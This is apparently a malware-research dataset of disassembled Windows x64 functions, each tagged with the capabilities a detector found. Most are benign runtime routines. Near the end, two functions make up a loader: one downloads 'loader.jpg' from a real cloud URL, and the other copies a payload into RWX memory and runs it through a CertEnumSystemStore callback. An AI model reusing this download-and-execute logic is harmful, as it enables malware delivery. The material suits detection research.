joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006472c
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x40
mov rbx, rdx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
xor esi, esi
mov qword [rbp - 0x10], rsi
mov dword [rbp + 0x30], esi
lea r8, [rbp + 0x30]
xor edx, edx
lea ecx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
nop dword [rax + rax]
test eax, eax
je 0x140064774
lea edi, [rsi + 0xd]
jmp 0x14006482f
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov edi, eax
cmp eax, 0xea
jne 0x14006482f
mov word [rbp + 0x20], si
mov edx, dword [rbp + 0x30]
mov r8, qword [rbp - 0x18]
mov rcx, r8
mov rdi, qword [rbp - 0x20]
sub rcx, rdi
sar rcx, 1
cmp rdx, rcx
jae 0x1400647b4
lea rax, [rdi + rdx*2]
mov qword [rbp - 0x18], rax
jmp 0x1400647f5
jbe 0x1400647f5
mov rax, qword [rbp - 0x10]
sub rax, rdi
sar rax, 1
cmp rdx, rax
jbe 0x1400647d8
lea r8, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140040de4
mov rdi, qword [rbp - 0x20]
jmp 0x1400647f5
sub rdx, rcx
je 0x1400647f1
movzx eax, si
mov rdi, r8
mov rcx, rdx
rep stosw word [rdi], ax
lea r8, [r8 + rdx*2]
mov rdi, qword [rbp - 0x20]
mov qword [rbp - 0x18], r8
lea r8, [rbp + 0x30]
mov rdx, rdi
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
nop dword [rax + rax]
test eax, eax
jne 0x140064821
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov edi, eax
jmp 0x14006482f
mov rdx, qword [rbp - 0x20]
mov rcx, rbx
call fcn.1400038e4
mov edi, esi
lea rcx, [rbp - 0x20]
call fcn.14001e814
mov eax, edi
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x140065290
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400b1340], eax
call fcn.140065730
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400b1340], 0
jne case.default.0x1400652e6
mov ecx, 1
call fcn.140065730
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
pop rbp
mov cl, 0xaf
or dword [rdx + 0x1e], edx
invalid
Function at 0x140000614
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140005c10]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rdx
mov r14, rcx
mov qword [rbp + 0x17], rcx
mov qword [rbp + 0x27], rdx
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov r13d, 0xf
mov qword [rcx + 0x18], r13
mov byte [rcx], 0
lea rsi, [rcx + 0x20]
movups xmmword [rsi], xmm0
lea r15, [rsi + 0x10]
and qword [r15], 0
mov qword [rsi + 0x18], r13
mov byte [rsi], 0
movdqa xmm0, xmmword [0x140004140]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [0x140004150]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm0, xmmword [0x140004160]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm1, xmmword [str.wxyz0123456789________.__:_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv_]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm0, xmmword [0x140004130]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp + 7], 0x403f3e3d
mov dword [rbp + 0xb], 0x5e5d5c5b
lea edx, [r13 + 0x4f]
mov dword [rbp + 0xf], 0x7c7b605f
mov word [rbp + 0x13], 0x7e7d
cmp qword [rcx + 0x18], rdx
jb 0x140000703
mov rbx, qword [rcx]
mov qword [rcx + 0x10], rdx
mov r8d, edx
lea rdx, [rbp - 0x49]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x5e], 0
jmp 0x14000070c
lea r9, [rbp - 0x49]
call fcn.140002524
cmp rsi, rdi
je 0x140000755
mov r9, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14000071e
mov r9, qword [rdi]
mov rbx, qword [rdi + 0x10]
cmp rbx, qword [rsi + 0x18]
ja 0x140000749
cmp qword [rsi + 0x18], 0x10
jb 0x140000732
mov rsi, qword [rsi]
mov qword [r15], rbx
mov r8, rbx
mov rdx, r9
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x140000755
mov rdx, rbx
mov rcx, rsi
call fcn.140002524
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000078b
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140000786
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400007c2
mov rcx, r8
call fcn.140002c0c
and qword [rdi + 0x10], 0
mov qword [rdi + 0x18], r13
mov byte [rdi], 0
mov rax, r14
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140002960
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000339c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400033e6
mov ecx, GetModuleHandleW
cmp word [rax], cx
jne 0x1400033e6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400033e6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400033e6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400033e6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400033e8
xor al, al
add rsp, 0x28
ret
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140014190
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Create thread

Disassembly:
jmp 0x140012be0
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x1400230a2]
call fcn.14001137a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400117c4]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012c43
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_failed_With_Error_:__d__n
call fcn.14001119a
xor eax, eax
jmp 0x140012c5c
mov edx, 0xffffffff
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x140012c5c
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400154e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015500
xor al, al
jmp 0x140015581
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015513
xor al, al
jmp 0x140015581
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001553d
xor al, al
jmp 0x140015581
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015551
xor al, al
jmp 0x140015581
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015563
xor al, al
jmp 0x140015581
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001557f
xor al, al
jmp 0x140015581
mov al, 1
add rsp, 0x38
ret
Function at 0x6ddca058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.6ddca1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x6ddca089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x6ddca06f
add dl, dl
jne 0x6ddca096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x6ddca0f6
xor eax, eax
add dl, dl
jne 0x6ddca0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x6ddca1ad
add dl, dl
jne 0x6ddca0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6ddca0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6ddca0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6ddca0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x6ddca0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x6ddca07e
mov eax, 1
add dl, dl
jne 0x6ddca106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6ddca113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x6ddca0fb
sub eax, ebx
mov ebx, 1
jne 0x6ddca14c
mov ecx, 1
add dl, dl
jne 0x6ddca12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6ddca13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x6ddca123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x6ddca07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x6ddca168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6ddca175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x6ddca15d
cmp eax, 0x7d00
jae 0x6ddca19b
cmp eax, 0x500
jb 0x6ddca196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x6ddca07e
cmp eax, 0x7f
ja 0x6ddca19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x6ddca07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x6ddca1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x6ddca07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001450
Capabilities:
Query environment variable
Set environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea rsi, str.libexecgit_core
mov rdi, rcx
mov rcx, rsi
mov rbx, rdx
call sub.msvcrt.dll_wcslen
cmp rbx, rax
jb 0x14000149a
sub rbx, rax
lea r8, [rax + rax]
mov rdx, rsi
lea r12, [rbx + rbx]
lea rcx, [rdi + r12]
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x1400014b0
lea rsp, [rbp + 8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r13, str.PATH
mov r14, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor r8d, r8d
xor edx, edx
mov rcx, r13
call r14
mov esi, eax
test eax, eax
je 0x14000149a
mov eax, eax
lea rax, [rbx + rax + 5]
lea rax, [rax + rax + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400028d0
sub rsp, rax
mov r8, rbx
mov rdx, rdi
lea r15, [rsp + 0x20]
mov rcx, r15
call sub.msvcrt.dll_wcsncpy
lea rcx, [r15 + r12]
lea rdx, str._bin_
call sub.msvcrt.dll_wcscpy
lea rdx, [r15 + r12 + 0xa]
mov r8d, esi
mov rcx, r13
call r14
test eax, eax
je 0x14000149a
mov rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x14000149a
Function at 0x140002260
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400022bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400022b3
test eax, eax
jne 0x1400022b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002298
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400025f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004400]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002610
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002618
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002610
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000266d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002664
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002610
add rax, 0x28
cmp rax, r9
jne 0x140002650
xor eax, eax
ret

Function at 0x140002670
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004400]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000268f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002698
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000268f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002730
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004400]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000274f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002758
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14001a590
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r8, qword [0x140052e30]
mov eax, 0xffffffff
test edx, edx
je 0x14001a654
mov r9d, edx
nop word [rax + rax]
movzx ecx, byte [r8]
lea r8, [r8 + 1]
xor eax, ecx
mov ecx, eax
and cl, 1
neg cl
sbb edx, edx
shr eax, 1
and edx, 0xedb88320
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb eax, eax
shr edx, 1
and eax, 0xedb88320
xor eax, edx
sub r9, 1
jne 0x14001a5b0
not eax
ret
Function at 0x140020a08
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140020a52
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140020a52
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140020a52
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140020a52
cmp dword [rcx + 0x84], 0xe
jbe 0x140020a52
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140020a54
xor al, al
add rsp, 0x28
ret

Function at 0x14002441c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002427b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002427b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002427b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002427b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002427b
cmp dword [rcx + 0x84], 0xe
jbe 0x14002427b
cmp dword [rcx + 0xf8], 0
je 0x14002427b
mov ecx, ebx
call fcn.140024338
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140024108
nop
cmp dword [rbp + 0x20], 0
je 0x1400242c9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400242d4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002420c
Function at 0x140034fe0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140035067
mov rsi, rbx
cmp word [rax], bp
je 0x140035026
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140035010
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14003500c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140032660
mov rdi, rax
test rax, rax
je 0x140035054
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140022190
mov rbp, rdi
xor ecx, ecx
call fcn.140030a34
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003b130
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003b158
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14003b158
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10050
call fcn.140009150
sub rsp, rax
mov rax, qword [0x14000f008]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rdi, rcx
lea rcx, str.RookIE_1.0
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140001114
lea rdx, str.https:__231020.oss_cn_hongkong.aliyuncs.com_loader.jpg
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000110b
lea rdx, [0x14000dcfc]
mov rcx, rdi
call fcn.1400017a0
mov rdi, rax
test rax, rax
je 0x140001102
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400010fa
nop
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400010fa
lea rcx, [rsp + 0x40]
mov r8d, eax
mov r9, rdi
mov edx, 1
call fcn.140001c38
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400010c0
mov rcx, rdi
call fcn.140001d44
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.140001270
lea r11, [rsp + 0x10050]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001140
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create directory
Execute shellcode via windows callback function
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14000f008]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rcx, str.C:ProgramDatapowu
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x30], 0x5c5c3a43
mov dword [rbp - 0x2c], 0x676f7250
mov dword [rbp - 0x28], 0x446d6172
mov dword [rbp - 0x24], 0x5c617461
mov dword [rbp - 0x20], 0x776f705c
mov dword [rbp - 0x1c], 0x315c5c75
mov dword [rbp - 0x18], 0x67706a2e
mov byte [rbp - 0x14], 0
call section..text
lea rdx, [0x14000dd50]
lea rcx, str.C:_ProgramData_powu_1.jpg
call fcn.1400017a0
mov rbx, rax
test rax, rax
je 0x140001234
lea rcx, [0x140011400]
mov r9, rax
mov edx, 1
mov r8d, 0x1e530
call fcn.140001a8c
mov rcx, rbx
call fcn.140001d44
lea rcx, [rbp - 0x30]
call fcn.1400015d4
xor ecx, ecx
mov edx, 0x1e530
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [0x140011400]
mov r8d, 0x1e530
mov rcx, rax
mov rbx, rax
call fcn.1400012a0
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
xor eax, eax
jmp 0x140001245
lea rcx, str.Failed_to_open_the_file._n
call fcn.140001604
mov eax, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001270
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400015d4
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1400015ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400015ec
xor eax, eax
test eax, eax
je 0x1400015fc
mov ecx, eax
call fcn.14000210c
or eax, 0xffffffff
jmp 0x1400015fe
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001fdf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000f008]
jne 0x14000128a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001286
repz ret
ror rcx, 0x10
jmp 0x140001f38
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140010480]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140010578]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001fbd
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140010480]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001fdf
mov rax, qword [rsp + 0x88]
mov qword [0x140010578], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140010518], rax
mov rax, qword [0x140010578]
mov qword [0x1400103f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140010500], rax
mov dword [0x1400103e0], 0xc0000409
mov dword [0x1400103e4], 1
mov rax, qword [0x14000f008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000f010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140010478], eax
mov ecx, 1
call fcn.140006778
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000c2f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140010478], 0
jne 0x140002066
mov ecx, 1
call fcn.140006778
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1400055f0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140005460